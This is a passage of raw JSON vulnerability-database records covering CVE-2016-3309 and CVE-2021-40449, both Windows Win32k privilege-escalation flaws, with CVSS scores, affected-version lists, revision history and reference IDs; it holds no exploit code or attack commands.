{"score": 7.2, "vector": "AV:L/AC:L/Au:N/C:C/I:C/A:C"}, "cvss2": {"cvssV2": {"accessComplexity": "LOW", "accessVector": "LOCAL", "authentication": "NONE", "availabilityImpact": "COMPLETE", "baseScore": 7.2, "confidentialityImpact": "COMPLETE", "integrityImpact": "COMPLETE", "vectorString": "AV:L/AC:L/Au:N/C:C/I:C/A:C", "version": "2.0"}, "exploitabilityScore": 3.9, "impactScore": 10.0, "obtainAllPrivilege": false, "obtainOtherPrivilege": false, "obtainUserPrivilege": false, "severity": "HIGH", "userInteractionRequired": false}, "cvss3": {"cvssV3": {"attackComplexity": "LOW", "attackVector": "LOCAL", "availabilityImpact": "HIGH", "baseScore": 7.8, "baseSeverity": "HIGH", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "LOW", "scope": "UNCHANGED", "userInteraction": "NONE", "vectorString": "CVSS:3.0/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "version": "3.0"}, "exploitabilityScore": 1.8, "impactScore": 5.9}, "cwe": ["CWE-264"], "description": "The kernel-mode drivers in Microsoft Windows Vista SP2; Windows Server 2008 SP2 and R2 SP1; Windows 7 SP1; Windows 8.1; Windows Server 2012 Gold and R2; Windows RT 8.1; and Windows 10 Gold, 1511, and 1607 allow local users to gain privileges via a crafted application, aka \"Win32k Elevation of Privilege Vulnerability,\" a different vulnerability than CVE-2016-3308, CVE-2016-3310, and CVE-2016-3311.", "edition": 1, "enchantments": {"dependencies": {"modified": "2019-05-29T18:15:35", "references": [{"idList": ["EXPLOITPACK:4A77EECB9028940AD78AE18FF52B3DC8"], "type": "exploitpack"}, {"idList": ["KB3178466"], "type": "mskb"}, {"idList": ["OPENVAS:1361412562310808784"], "type": "openvas"}, {"idList": ["EDB-ID:42960"], "type": "exploitdb"}, {"idList": ["MS:CVE-2016-3309"], "type": "mscve"}, {"idList": ["KLA11908", "KLA10856"], "type": "kaspersky"}, {"idList": ["ZDI-16-449"], "type": "zdi"}, {"idList": ["SMNTC-92297"], "type": "symantec"}, {"idList": ["SMB_NT_MS16-098.NASL"], "type": "nessus"}, {"idList": ["1337DAY-ID-28749"], "type": "zdt"}], "rev": 2}, "score": {"modified": "2019-05-29T18:15:35", "rev": 2, "value": 7.0, "vector": "NONE"}}, "hash": "670428934cbc0757d30028d7a56b5aa3a389dda5874fb7a7efe41a09b51de125", "hashmap": [{"hash": "bebcbde55b4c438087ad36eb8ce3b936", "key": "affectedSoftware"}, {"hash": "95022cf8a844b4aa436449a712c24595", "key": "href"}, {"hash": "7161b41c99e6ecf244e11b7a0678e906", "key": "published"}, {"hash": "74b9e06dc7577bd842ffa7c6b46056b5", "key": "cpe"}, {"hash": "fa12e087f68642fcaefafba0d4583885", "key": "cwe"}, {"hash": "77a06168ea28e330fa0a440746d3f3b3", "key": "cvss3"}, {"hash": "d9a5c13a8c8ccc13815715d42707b609", "key": "references"}, {"hash": "5d2e22c9c0a3f8a46d6a78045b250aa2", "key": "title"}, {"hash": "1716b5fcbb7121af74efdc153d0166c5", "key": "type"}, {"hash": "fb817d1ffa2f41dcf36ff904b277e5a3", "key": "description"}, {"hash": "978aebce0b508b9ea2b78a9aa6960c71", "key": "cvss2"}, {"hash": "601892ece72be3be2f57266ca2354792", "key": "bulletinFamily"}, {"hash": "c1dd178f01805c02f1b5d1bda38a05d6", "key": "cvelist"}, {"hash": "09d047f3d2e722fc60dd24d2893e00f9", "key": "modified"}, {"hash": "444c2b4dda4a55437faa8bef1a141e84", "key": "reporter"}, {"hash": "9c196c25e761d16b9e776361fe633d21", "key": "cpe23"}, {"hash": "f74481c4d3fb2a622ac8c8a438ded811", "key": "cvss"}], "history": [], "href": "https://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-2016-3309", "id": "CVE-2016-3309", "lastseen": "2019-05-29T18:15:35", "modified": "2018-10-12T22:12:00", "objectVersion": "1.3", "published": "2016-08-09T21:59:00", "references": ["https://www.exploit-db.com/exploits/42960/", "https://docs.microsoft.com/en-us/security-updates/securitybulletins/2016/ms16-098", "http://www.securityfocus.com/bid/92297", "http://www.securitytracker.com/id/1036572"], "reporter": "cve@mitre.org", "title": "CVE-2016-3309", "type": "cve", "viewCount": 4}, "differentElements": ["cpe", "affectedSoftware"], "edition": 1, "lastseen": "2019-05-29T18:15:35"}], "edition": 5, "hashmap": [{"key": "affectedConfiguration", "hash": "d41d8cd98f00b204e9800998ecf8427e"}, {"key": "affectedSoftware", "hash": "a9764e988f6a64f08c4b11f35fbe2c65"}, {"key": "bulletinFamily", "hash": "601892ece72be3be2f57266ca2354792"}, {"key": "cpe", "hash": "2ad2fbe2ec5c54a5bf5ef5baaae7b562"}, {"key": "cpe23", "hash": "9c196c25e761d16b9e776361fe633d21"}, {"key": "cpeConfiguration", "hash": "cdb38d2d23bf9f6abd09190b1b8981c3"}, {"key": "cvelist", "hash": "c1dd178f01805c02f1b5d1bda38a05d6"}, {"key": "cvss", "hash": "f74481c4d3fb2a622ac8c8a438ded811"}, {"key": "cvss2", "hash": "978aebce0b508b9ea2b78a9aa6960c71"}, {"key": "cvss3", "hash": "77a06168ea28e330fa0a440746d3f3b3"}, {"key": "cwe", "hash": "fa12e087f68642fcaefafba0d4583885"}, {"key": "description", "hash": "fb817d1ffa2f41dcf36ff904b277e5a3"}, {"key": "extraReferences", "hash": "5729346633c6b256c20746fd082a5b77"}, {"key": "href", "hash": "95022cf8a844b4aa436449a712c24595"}, {"key": "immutableFields", "hash": "d41d8cd98f00b204e9800998ecf8427e"}, {"key": "modified", "hash": "09d047f3d2e722fc60dd24d2893e00f9"}, {"key": "published", "hash": "7161b41c99e6ecf244e11b7a0678e906"}, {"key": "references", "hash": "d9a5c13a8c8ccc13815715d42707b609"}, {"key": "reporter", "hash": "029dfc07c499dc142a429cac0a029e99"}, {"key": "title", "hash": "5d2e22c9c0a3f8a46d6a78045b250aa2"}, {"key": "type", "hash": "1716b5fcbb7121af74efdc153d0166c5"}], "hash": "155b1c03b57e922f4ada09b893c3e17e153fffa06db9171c361ce8cc951aa995", "viewCount": 38, "enchantments": {"dependencies": {"references": [{"type": "symantec", "idList": ["SMNTC-92297"]}, {"type": "checkpoint_advisories", "idList": ["CPAI-2016-0683"]}, {"type": "zdt", "idList": ["1337DAY-ID-28749"]}, {"type": "exploitpack", "idList": ["EXPLOITPACK:4A77EECB9028940AD78AE18FF52B3DC8"]}, {"type": "mscve", "idList": ["MS:CVE-2016-3309"]}, {"type": "zdi", "idList": ["ZDI-16-449"]}, {"type": "exploitdb", "idList": ["EDB-ID:42960"]}, {"type": "securelist", "idList": ["SECURELIST:EDEDB5540F9CBEF736A91ECDD708D038"]}, {"type": "githubexploit", "idList": ["94F9D54F-CE33-561C-A65A-3C28F00AF2AD"]}, {"type": "openvas", "idList": ["OPENVAS:1361412562310808784"]}, {"type": "mskb", "idList": ["KB3178466"]}, {"type": "nessus", "idList": ["SMB_NT_MS16-098.NASL"]}, {"type": "kaspersky", "idList": ["KLA11908", "KLA10856"]}], "modified": "2021-04-22T23:58:44", "rev": 2}, "score": {"value": 7.0, "vector": "NONE", "modified": "2021-04-22T23:58:44", "rev": 2}}, "objectVersion": "1.5", "cpe": ["cpe:/o:microsoft:windows_rt_8.1:*", "cpe:/o:microsoft:windows_vista:*", "cpe:/o:microsoft:windows_server_2012:r2", "cpe:/o:microsoft:windows_10:-", "cpe:/o:microsoft:windows_server_2008:*", "cpe:/o:microsoft:windows_server_2012:-", "cpe:/o:microsoft:windows_10:1607", "cpe:/o:microsoft:windows_server_2008:r2", "cpe:/o:microsoft:windows_10:1511", "cpe:/o:microsoft:windows_8.1:*", "cpe:/o:microsoft:windows_7:*"], "affectedSoftware": [{"cpeName": "microsoft:windows_10", "name": "microsoft windows 10", "operator": "eq", "version": "-"}, {"cpeName": "microsoft:windows_10", "name": "microsoft windows 10", "operator": "eq", "version": "1607"}, {"cpeName": "microsoft:windows_server_2008", "name": "microsoft windows server 2008", "operator": "eq", "version": "r2"}, {"cpeName": "microsoft:windows_7", "name": "microsoft windows 7", "operator": "eq", "version": "*"}, {"cpeName": "microsoft:windows_8.1", "name": "microsoft windows 8.1", "operator": "eq", "version": "*"}, {"cpeName": "microsoft:windows_server_2012", "name": "microsoft windows server 2012", "operator": "eq", "version": "r2"}, {"cpeName": "microsoft:windows_vista", "name": "microsoft windows vista", "operator": "eq", "version": "*"}, {"cpeName": "microsoft:windows_server_2012", "name": "microsoft windows server 2012", "operator": "eq", "version": "-"}, {"cpeName": "microsoft:windows_rt_8.1", "name": "microsoft windows rt 8.1", "operator": "eq", "version": "*"}, {"cpeName": "microsoft:windows_server_2008", "name": "microsoft windows server 2008", "operator": "eq", "version": "*"}, {"cpeName": "microsoft:windows_10", "name": "microsoft windows 10", "operator": "eq", "version": "1511"}], "cvss2": {"cvssV2": {"accessComplexity": "LOW", "accessVector": "LOCAL", "authentication": "NONE", "availabilityImpact": "COMPLETE", "baseScore": 7.2, "confidentialityImpact": "COMPLETE", "integrityImpact": "COMPLETE", "vectorString": "AV:L/AC:L/Au:N/C:C/I:C/A:C", "version": "2.0"}, "exploitabilityScore": 3.9, "impactScore": 10.0, "obtainAllPrivilege": false, "obtainOtherPrivilege": false, "obtainUserPrivilege": false, "severity": "HIGH", "userInteractionRequired": false}, "cvss3": {"cvssV3": {"attackComplexity": "LOW", "attackVector": "LOCAL", "availabilityImpact": "HIGH", "baseScore": 7.8, "baseSeverity": "HIGH", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "LOW", "scope": "UNCHANGED", "userInteraction": "NONE", "vectorString": "CVSS:3.0/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "version": "3.0"}, "exploitabilityScore": 1.8, "impactScore": 5.9}, "cpe23": ["cpe:2.3:o:microsoft:windows_server_2008:r2:sp1:*:*:*:*:*:*", "cpe:2.3:o:microsoft:windows_vista:*:sp2:*:*:*:*:*:*", "cpe:2.3:o:microsoft:windows_7:*:sp1:*:*:*:*:*:*", "cpe:2.3:o:microsoft:windows_10:1511:*:*:*:*:*:*:*", "cpe:2.3:o:microsoft:windows_server_2012:-:*:*:*:*:*:*:*", "cpe:2.3:o:microsoft:windows_server_2012:r2:*:*:*:*:*:*:*", "cpe:2.3:o:microsoft:windows_rt_8.1:*:*:*:*:*:*:*:*", "cpe:2.3:o:microsoft:windows_10:1607:*:*:*:*:*:*:*", "cpe:2.3:o:microsoft:windows_server_2008:*:sp2:*:*:*:*:*:*", "cpe:2.3:o:microsoft:windows_8.1:*:*:*:*:*:*:*:*", "cpe:2.3:o:microsoft:windows_10:-:*:*:*:*:*:*:*"], "cwe": ["CWE-264"], "scheme": null, "cpeConfiguration": {"CVE_data_version": "4.0", "nodes": [{"children": [], "cpe_match": [{"cpe23Uri": "cpe:2.3:o:microsoft:windows_server_2008:r2:sp1:*:*:*:*:*:*", "cpe_name": [], "vulnerable": true}, {"cpe23Uri": "cpe:2.3:o:microsoft:windows_rt_8.1:*:*:*:*:*:*:*:*", "cpe_name": [], "vulnerable": true}, {"cpe23Uri": "cpe:2.3:o:microsoft:windows_vista:*:sp2:*:*:*:*:*:*", "cpe_name": [], "vulnerable": true}, {"cpe23Uri": "cpe:2.3:o:microsoft:windows_7:*:sp1:*:*:*:*:*:*", "cpe_name": [], "vulnerable": true}, {"cpe23Uri": "cpe:2.3:o:microsoft:windows_10:1607:*:*:*:*:*:*:*", "cpe_name": [], "vulnerable": true}, {"cpe23Uri": "cpe:2.3:o:microsoft:windows_server_2012:-:*:*:*:*:*:*:*", "cpe_name": [], "vulnerable": true}, {"cpe23Uri": "cpe:2.3:o:microsoft:windows_8.1:*:*:*:*:*:*:*:*", "cpe_name": [], "vulnerable": true}, {"cpe23Uri": "cpe:2.3:o:microsoft:windows_server_2012:r2:*:*:*:*:*:*:*", "cpe_name": [], "vulnerable": true}, {"cpe23Uri": "cpe:2.3:o:microsoft:windows_10:-:*:*:*:*:*:*:*", "cpe_name": [], "vulnerable": true}, {"cpe23Uri": "cpe:2.3:o:microsoft:windows_server_2008:*:sp2:*:*:*:*:*:*", "cpe_name": [], "vulnerable": true}, {"cpe23Uri": "cpe:2.3:o:microsoft:windows_10:1511:*:*:*:*:*:*:*", "cpe_name": [], "vulnerable": true}], "operator": "OR"}]}, "extraReferences": [{"name": "92297", "refsource": "BID", "tags": [], "url": "http://www.securityfocus.com/bid/92297"}, {"name": "42960", "refsource": "EXPLOIT-DB", "tags": [], "url": "https://www.exploit-db.com/exploits/42960/"}, {"name": "MS16-098", "refsource": "MS", "tags": [], "url": "https://docs.microsoft.com/en-us/security-updates/securitybulletins/2016/ms16-098"}, {"name": "1036572", "refsource": "SECTRACK", "tags": [], "url": "http://www.securitytracker.com/id/1036572"}], "immutableFields": []}], "attackerkb": [{"id": "AKB:248E5B51-C3A0-4459-AF44-2E0C5544549E", "vendorId": null, "hash": "bd50572d0bff9fcdee4f315a80b97c3d", "type": "attackerkb", "bulletinFamily": "info", "title": "CVE-2021-40449", "description": "Win32k Elevation of Privilege Vulnerability This CVE ID is unique from CVE-2021-40450, CVE-2021-41357.\n\n \n**Recent assessments:** \n \nAssessed Attacker Value: 0 \nAssessed Attacker Value: 0Assessed Attacker Value: 0\n", "published": "2021-10-13T00:00:00", "modified": "2021-10-20T00:00:00", "cvss": {"score": 4.6, "vector": "AV:L/AC:L/Au:N/C:P/I:P/A:P"}, "cvss2": {"acInsufInfo": false, "cvssV2": {"accessComplexity": "LOW", "accessVector": "LOCAL", "authentication": "NONE", "availabilityImpact": "PARTIAL", "baseScore": 4.6, "confidentialityImpact": "PARTIAL", "integrityImpact": "PARTIAL", "vectorString": "AV:L/AC:L/Au:N/C:P/I:P/A:P", "version": "2.0"}, "exploitabilityScore": 3.9, "impactScore": 6.4, "obtainAllPrivilege": false, "obtainOtherPrivilege": false, "obtainUserPrivilege": false, "severity": "MEDIUM", "userInteractionRequired": false}, "cvss3": {"cvssV3": {"attackComplexity": "LOW", "attackVector": "LOCAL", "availabilityImpact": "HIGH", "baseScore": 7.8, "baseSeverity": "HIGH", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "LOW", "scope": "UNCHANGED", "userInteraction": "NONE", "vectorString": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "version": "3.1"}, "exploitabilityScore": 1.8, "impactScore": 5.9}, "href": "https://attackerkb.com/topics/1YJ3p8CEZz/cve-2021-40449", "reporter": "AttackerKB", "references": ["https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-40449", "https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2021-40449", "http://packetstormsecurity.com/files/164926/Win32k-NtGdiResetDC-Use-After-Free-Local-Privilege-Escalation.html"], "cvelist": ["CVE-2021-40449", "CVE-2021-40450", "CVE-2021-41357"], "immutableFields": [], "lastseen": "2021-11-27T04:45:44", "history": [{"bulletin": {"id": "AKB:248E5B51-C3A0-4459-AF44-2E0C5544549E", "vendorId": null, "hash": "5ede53337c39d2f9b0e97944037d070c", "type": "attackerkb", "bulletinFamily": "info", "title": "CVE-2021-40449", "description": "** RESERVED ** This candidate has been reserved by an organization or individual that will use it when announcing a new security problem. When the candidate has been publicized, the details for this candidate will be provided.\n\n \n**Recent assessments:** \n \nAssessed Attacker Value: 0 \nAssessed Attacker Value: 0Assessed Attacker Value: 0\n", "published": "2021-09-02T00:00:00", "modified": "2021-09-02T00:00:00", "cvss": {"score": 0.0, "vector": "NONE"}, "cvss2": {}, "cvss3": {}, "href": "https://attackerkb.com/topics/1YJ3p8CEZz/cve-2021-40449", "reporter": "AttackerKB", "references": ["https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-40449"], "cvelist": ["CVE-2021-40449"], "immutableFields": [], "lastseen": "2021-10-12T19:41:56", "history": [], "viewCount": 0, "enchantments": {}, "objectVersion": "1.6", "attackerkb": {"attackerValue": 0, "exploitability": 0}, "wildExploited": true, "wildExploitedCategory": {"Vendor Advisory": ""}, "wildExploitedReports": [{"category": "Vendor Advisory", "source_url": "https://msrc.microsoft.com/update-guide/vulnerability/CVE-2021-40449", "published": "2021-10-12T18:27:00"}, {"category": "News Article or Blog", "source_url": "https://securelist.com/mysterysnail-attacks-with-windows-zero-day/104509/", "published": "2021-10-12T18:27:00"}], "references_categories": {"Canonical": ["https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-40449"]}, "tags": [], "mitre_vector": {}, "last_activity": "2021-10-12T18:27:00"}, "lastseen": "2021-10-12T19:41:56", "differentElements": ["cvelist", "description", "last_activity", "modified", "published", "references", "references_categories"], "edition": 1}, {"bulletin": {"id": "AKB:248E5B51-C3A0-4459-AF44-2E0C5544549E", "vendorId": null, "hash": "49fd2d7451b861b8635f50459561e4dd", "type": "attackerkb", "bulletinFamily": "info", "title": "CVE-2021-40449", "description": "Win32k Elevation of Privilege Vulnerability This CVE ID is unique from CVE-2021-40450, CVE-2021-41357.\n\n \n**Recent assessments:** \n \nAssessed Attacker Value: 0 \nAssessed Attacker Value: 0Assessed Attacker Value: 0\n", "published": "2021-10-13T00:00:00", "modified": "2021-10-13T00:00:00", "cvss": {"score": 0.0, "vector": "NONE"}, "cvss2": {}, "cvss3": {}, "href": "https://attackerkb.com/topics/1YJ3p8CEZz/cve-2021-40449", "reporter": "AttackerKB", "references": ["https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-40449", "https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2021-40449"], "cvelist": ["CVE-2021-40449", "CVE-2021-40450", "CVE-2021-41357"], "immutableFields": [], "lastseen": "2021-10-13T01:59:41", "history": [], "viewCount": 29, "enchantments": {"dependencies": {"references": [{"type": "cve", "idList": ["CVE-2021-40449", "CVE-2021-41357", "CVE-2021-40450"]}, {"type": "hivepro", "idList": ["HIVEPRO:19810CA69EE792A741AC657E50CAAAEE"]}, {"type": "securelist", "idList": ["SECURELIST:EDEDB5540F9CBEF736A91ECDD708D038"]}, {"type": "threatpost", "idList": ["THREATPOST:500777B41EEA368E3AC2A6AED65C4A25", "THREATPOST:8836AC81C1F2D9654424EC1584E50A16"]}, {"type": "malwarebytes", "idList": ["MALWAREBYTES:B448D31E6691905EFC547FAA3B80C971"]}, {"type": "krebs", "idList": ["KREBS:99411879A64BD5F899F5CD4CD59A9A1C"]}, {"type": "qualysblog", "idList": ["QUALYSBLOG:2BC91C96B1F3F528B6AC9D1724739ED2"]}, {"type": "nessus", "idList": ["SMB_NT_MS21_OCT_5006728.NASL", "SMB_NT_MS21_OCT_5006699.NASL", "SMB_NT_MS21_OCT_5006670.NASL", "SMB_NT_MS21_OCT_5006729.NASL", "SMB_NT_MS21_OCT_5006715.NASL", "SMB_NT_MS21_OCT_5006732.NASL", "SMB_NT_MS21_OCT_5006672.NASL", "SMB_NT_MS21_OCT_5006669.NASL", "SMB_NT_MS21_OCT_5006675.NASL", "SMB_NT_MS21_OCT_5006674.NASL", "SMB_NT_MS21_OCT_5006667.NASL"]}, {"type": "thn", "idList": ["THN:57C3D6DDFA31EA2EA2B6BF2A747A612C"]}, {"type": "rapid7blog", "idList": ["RAPID7BLOG:73EAE8A2825E9B6764F314122B4E5F25"]}], "modified": "2021-10-13T01:59:41", "rev": 2}, "score": {"value": 5.9, "vector": "NONE", "modified": "2021-10-13T01:59:41", "rev": 2}}, "objectVersion": "1.6", "attackerkb": {"attackerValue": 0, "exploitability": 0}, "wildExploited": true, "wildExploitedCategory": {"Vendor Advisory": ""}, "wildExploitedReports": [{"category": "Vendor Advisory", "source_url": "https://msrc.microsoft.com/update-guide/vulnerability/CVE-2021-40449", "published": "2021-10-12T18:27:00"}, {"category": "News Article or Blog", "source_url": "https://securelist.com/mysterysnail-attacks-with-windows-zero-day/104509/", "published": "2021-10-12T18:27:00"}], "references_categories": {"Canonical": ["https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-40449"], "Miscellaneous": ["https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2021-40449"]}, "tags": [], "mitre_vector": {}, "last_activity": "2021-10-13T00:00:00"}, "lastseen": "2021-10-13T01:59:41", "differentElements": ["cvss", "last_activity", "modified"], "edition": 2}, {"bulletin": {"id": "AKB:248E5B51-C3A0-4459-AF44-2E0C5544549E", "vendorId": null, "hash": "e24dbbb8e11306f3c991b0c8ac11253b", "type": "attackerkb", "bulletinFamily": "info", "title": "CVE-2021-40449", "description": "Win32k Elevation of Privilege Vulnerability This CVE ID is unique from CVE-2021-40450, CVE-2021-41357.\n\n \n**Recent assessments:** \n \nAssessed Attacker Value: 0 \nAssessed Attacker Value: 0Assessed Attacker Value: 0\n", "published": "2021-10-13T00:00:00", "modified": "2021-10-20T00:00:00", "cvss": {"score": 4.6, "vector": "AV:L/AC:L/Au:N/C:P/I:P/A:P"}, "cvss2": {}, "cvss3": {}, "href": "https://attackerkb.com/topics/1YJ3p8CEZz/cve-2021-40449", "reporter": "AttackerKB", "references": ["https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-40449", "https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2021-40449"], "cvelist": ["CVE-2021-40449", "CVE-2021-40450", "CVE-2021-41357"], "immutableFields": [], "lastseen": "2021-10-20T07:52:06", "history": [], "viewCount": 29, "enchantments": {"dependencies": {"references": [{"type": "cve", "idList": ["CVE-2021-40449", "CVE-2021-41357", "CVE-2021-40450"]}, {"type": "hivepro", "idList": ["HIVEPRO:19810CA69EE792A741AC657E50CAAAEE"]}, {"type": "securelist", "idList": ["SECURELIST:EDEDB5540F9CBEF736A91ECDD708D038"]}, {"type": "threatpost", "idList": ["THREATPOST:500777B41EEA368E3AC2A6AED65C4A25", "THREATPOST:8836AC81C1F2D9654424EC1584E50A16"]}, {"type": "malwarebytes", "idList": ["MALWAREBYTES:B448D31E6691905EFC547FAA3B80C971"]}, {"type": "krebs", "idList": ["KREBS:99411879A64BD5F899F5CD4CD59A9A1C"]}, {"type": "qualysblog", "idList": ["QUALYSBLOG:2BC91C96B1F3F528B6AC9D1724739ED2"]}, {"type": "nessus", "idList": ["SMB_NT_MS21_OCT_5006728.NASL", "SMB_NT_MS21_OCT_5006699.NASL", "SMB_NT_MS21_OCT_5006670.NASL", "SMB_NT_MS21_OCT_5006729.NASL", "SMB_NT_MS21_OCT_5006715.NASL", "SMB_NT_MS21_OCT_5006732.NASL", "SMB_NT_MS21_OCT_5006672.NASL", "SMB_NT_MS21_OCT_5006669.NASL", "SMB_NT_MS21_OCT_5006675.NASL", "SMB_NT_MS21_OCT_5006674.NASL", "SMB_NT_MS21_OCT_5006667.NASL"]}, {"type": "thn", "idList": ["THN:57C3D6DDFA31EA2EA2B6BF2A747A612C"]}, {"type": "rapid7blog", "idList": ["RAPID7BLOG:73EAE8A2825E9B6764F314122B4E5F25"]}], "modified": "2021-10-13T01:59:41", "rev": 2}, "score": {"value": 5.9, "vector": "NONE", "modified": "2021-10-13T01:59:41", "rev": 2}}, "objectVersion": "1.6", "attackerkb": {"attackerValue": 0, "exploitability": 0}, "wildExploited": true, "wildExploitedCategory": {"Vendor Advisory": ""}, "wildExploitedReports": [{"category": "Vendor Advisory", "source_url": "https://msrc.microsoft.com/update-guide/vulnerability/CVE-2021-40449", "published": "2021-10-12T18:27:00"}, {"category": "News Article or Blog", "source_url": "https://securelist.com/mysterysnail-attacks-with-windows-zero-day/104509/", "published": "2021-10-12T18:27:00"}], "references_categories": {"Canonical": ["https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-40449"], "Miscellaneous": ["https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2021-40449"]}, "tags": [], "mitre_vector": {}, "last_activity": "2021-10-20T00:00:00"}, "lastseen": "2021-10-20T07:52:06", "differentElements": ["last_activity", "wildExploitedCategory", "wildExploitedReports"], "edition": 3}, {"bulletin": {"id": "AKB:248E5B51-C3A0-4459-AF44-2E0C5544549E", "vendorId": null, "hash": "b1ec1771bcd1137da3502a3fd43ebf0e", "type": "attackerkb", "bulletinFamily": "info", "title": "CVE-2021-40449", "description": "Win32k Elevation of Privilege Vulnerability This CVE ID is unique from CVE-2021-40450, CVE-2021-41357.\n\n \n**Recent assessments:** \n \nAssessed Attacker Value: 0 \nAssessed Attacker Value: 0Assessed Attacker Value: 0\n", "published": "2021-10-13T00:00:00", "modified": "2021-10-20T00:00:00", "cvss": {"score": 4.6, "vector": "AV:L/AC:L/Au:N/C:P/I:P/A:P"}, "cvss2": {}, "cvss3": {}, "href": "https://attackerkb.com/topics/1YJ3p8CEZz/cve-2021-40449", "reporter": "AttackerKB", "references": ["https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-40449", "https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2021-40449"], "cvelist": ["CVE-2021-40449", "CVE-2021-40450", "CVE-2021-41357"], "immutableFields": [], "lastseen": "2021-10-21T16:48:09", "history": [], "viewCount": 30, "enchantments": {"dependencies": {"references": [{"type": "cve", "idList": ["CVE-2021-40450", "CVE-2021-40449", "CVE-2021-41357"]}, {"type": "checkpoint_advisories", "idList": ["CPAI-2021-0739", "CPAI-2021-0738", "CPAI-2021-0740"]}, {"type": "githubexploit", "idList": ["B45F7278-2C20-5C06-B834-59D960047852", "67AC7DCE-FB2F-5A78-AB0A-F4A37D19901F", "94F9D54F-CE33-561C-A65A-3C28F00AF2AD", "059CF457-59E4-5647-A0BC-0014C543D6D3"]}, {"type": "mscve", "idList": ["MS:CVE-2021-40449", "MS:CVE-2021-41357", "MS:CVE-2021-40450"]}, {"type": "hivepro", "idList": ["HIVEPRO:19810CA69EE792A741AC657E50CAAAEE"]}, {"type": "securelist", "idList": ["SECURELIST:EDEDB5540F9CBEF736A91ECDD708D038"]}, {"type": "threatpost", "idList": ["THREATPOST:8836AC81C1F2D9654424EC1584E50A16", "THREATPOST:500777B41EEA368E3AC2A6AED65C4A25"]}, {"type": "krebs", "idList": ["KREBS:99411879A64BD5F899F5CD4CD59A9A1C"]}, {"type": "malwarebytes", "idList": ["MALWAREBYTES:B448D31E6691905EFC547FAA3B80C971"]}, {"type": "qualysblog", "idList": ["QUALYSBLOG:2BC91C96B1F3F528B6AC9D1724739ED2"]}, {"type": "nessus", "idList": ["SMB_NT_MS21_OCT_5006699.NASL", "SMB_NT_MS21_OCT_5006715.NASL", "SMB_NT_MS21_OCT_5006728.NASL", "SMB_NT_MS21_OCT_5006732.NASL", "SMB_NT_MS21_OCT_5006729.NASL", "SMB_NT_MS21_OCT_5006670.NASL", "SMB_NT_MS21_OCT_5006674.NASL", "SMB_NT_MS21_OCT_5006669.NASL", "SMB_NT_MS21_OCT_5006672.NASL", "SMB_NT_MS21_OCT_5006675.NASL", "SMB_NT_MS21_OCT_5006667.NASL"]}, {"type": "avleonov", "idList": ["AVLEONOV:99215B2D7808C46D8762AD712CD3D267"]}, {"type": "kaspersky", "idList": ["KLA12309", "KLA12310"]}, {"type": "thn", "idList": ["THN:57C3D6DDFA31EA2EA2B6BF2A747A612C"]}, {"type": "rapid7blog", "idList": ["RAPID7BLOG:73EAE8A2825E9B6764F314122B4E5F25"]}], "modified": "2021-10-21T16:48:09", "rev": 2}, "score": {"value": 5.4, "vector": "NONE", "modified": "2021-10-21T16:48:09", "rev": 2}}, "objectVersion": "1.6", "attackerkb": {"attackerValue": 0, "exploitability": 0}, "wildExploited": true, "wildExploitedCategory": {"Vendor Advisory": "", "News Article or Blog": ""}, "wildExploitedReports": [{"category": "Vendor Advisory", "source_url": "https://msrc.microsoft.com/update-guide/vulnerability/CVE-2021-40449", "published": "2021-10-12T18:27:00"}, {"category": "News Article or Blog", "source_url": "https://securelist.com/mysterysnail-attacks-with-windows-zero-day/104509/", "published": "2021-10-12T18:27:00"}, {"category": "News Article or Blog", "source_url": "https://securityaffairs.co/wordpress/123285/hacking/ironhusky-zero-day.html", "published": "2021-10-21T14:52:00"}], "references_categories": {"Canonical": ["https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-40449"], "Miscellaneous": ["https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2021-40449"]}, "tags": [], "mitre_vector": {}, "last_activity": "2021-10-21T14:52:00"}, "lastseen": "2021-10-21T16:48:09", "differentElements": ["references", "references_categories"], "edition": 4}, {"bulletin": {"id": "AKB:248E5B51-C3A0-4459-AF44-2E0C5544549E", "vendorId": null, "hash": "81488e3f2b2af7b3364d4e99dfec6cc3", "type": "attackerkb", "bulletinFamily": "info", "title": "CVE-2021-40449", "description": "Win32k Elevation of Privilege Vulnerability This CVE ID is unique from CVE-2021-40450, CVE-2021-41357.\n\n \n**Recent assessments:** \n \nAssessed Attacker Value: 0 \nAssessed Attacker Value: 0Assessed Attacker Value: 0\n", "published": "2021-10-13T00:00:00", "modified": "2021-10-20T00:00:00", "cvss": {"score": 4.6, "vector": "AV:L/AC:L/Au:N/C:P/I:P/A:P"}, "cvss2": {}, "cvss3": {}, "href": "https://attackerkb.com/topics/1YJ3p8CEZz/cve-2021-40449", "reporter": "AttackerKB", "references": ["https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-40449", "https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2021-40449", "http://packetstormsecurity.com/files/164926/Win32k-NtGdiResetDC-Use-After-Free-Local-Privilege-Escalation.html"], "cvelist": ["CVE-2021-40449", "CVE-2021-40450", "CVE-2021-41357"], "immutableFields": [], "lastseen": "2021-11-10T22:42:19", "history": [], "viewCount": 31, "enchantments": {"dependencies": {"references": [{"type": "cve", "idList": ["CVE-2021-40449", 